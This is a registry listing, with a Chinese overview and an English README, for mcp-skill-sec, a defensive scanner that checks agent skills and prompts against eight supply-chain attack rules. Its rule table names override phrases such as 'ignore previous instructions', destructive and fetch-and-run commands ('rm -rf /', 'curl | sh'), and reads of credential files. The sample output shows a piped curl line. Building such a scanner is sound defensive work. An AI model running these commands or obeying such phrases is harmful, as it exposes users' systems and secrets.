Mcp Skill Sec

io.github.sudo-ai-git由 GitHub 账号 sudo-ai-git 发布v1.0.0更新于 Oct 24, 2026

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

已验证STDIO仅桌面开发者工具安全与监控

概览

AI 生成的概览

一个本地运行的确定性扫描器,让助手按 8 类供应链攻击模式审计智能体技能、系统提示词和下载的文件集合。

可以做什么
  • 审计粘贴的文本或提示词字符串,给出带行号的证据
  • 审计磁盘上的单个技能或智能体指令文件,如 SKILL.md、AGENTS.md、CLAUDE.md
  • 审计整个下载的技能目录,返回逐文件结论与汇总
  • 列出规则目录,涵盖提示词注入、数据外泄、硬编码密钥、危险命令、混淆、不可信外部拉取、凭据访问与提权
适用场景
在安装或信任第三方技能、提示词或下载的技能集合之前使用,适合需要确定性检查、严重级别与 PASS/FLAG 结论而非大模型判断的场景。
运行要求
作为本地 stdio 进程在用户机器上运行(仅桌面端)。可通过 uv tool 或 pipx 从项目仓库安装,或用 mcp 包从源码运行;未声明需要 API 密钥、账号或网络访问。
安装前请注意
它会读取你指定路径下的文件,请只指向愿意被检查的内容。结论基于模式匹配而非安全证明:PASS 并不保证技能无害,被标记的证据行可能包含扫描文件中发现的密钥。

安装

在 SourceWeft 中

  1. 打开 控制台中的 Mcp Skill Sec,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。

其他 MCP 客户端

参照 仓库 中的启动说明。

README

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

RulePattern
R1Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides)
R2Data exfiltration intent (send/post/email contents to a URL, log theft)
R3Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes)
R5Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7Credential access (reading ~/.ssh, .aws/credentials, .env)
R8Privilege escalation (sudo -s, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

  • audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
  • audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
  • audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
  • rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

bash
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec# then register with your agent:mcp-skill-sec                       # run stdio servermcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

bash
pip install mcppython3 mcp_server.py               # run stdiomcp install mcp_server.py --name skill-sec   # register with Claude Desktop

Claude Desktop / agent config

json
{  "mcpServers": {    "skill-sec": {      "command": "mcp-skill-sec",      "args": []    }  }}

Example

text
skill-sec: /tmp/downloaded-skill/SKILL.md  verdict : FLAG  counts  : critical 1, high 2, medium 1, low 0  R3 [critical] line 11: api_key = "sk-live-…"  R3 [high]     line 14: password = "hunter2"  R4 [critical] line 22: curl https://x/y.sh | sh  action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

[mcp-skill-sec MCP server]

来源:README.md,提交 60bf748

工具

0
SourceWeft 尚未在沙箱中启动过该软件包,因此其工具未知。

版本历史

1
  1. v1.0.0最新Sep 16, 2026

评分

已满足适用检查项的 40%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通25 分

    请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。

  • 已声明认证方式10 分

    请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。

  • 已列出工具15 分

    请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。

  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分

    请在仓库或注册中心条目中声明许可证。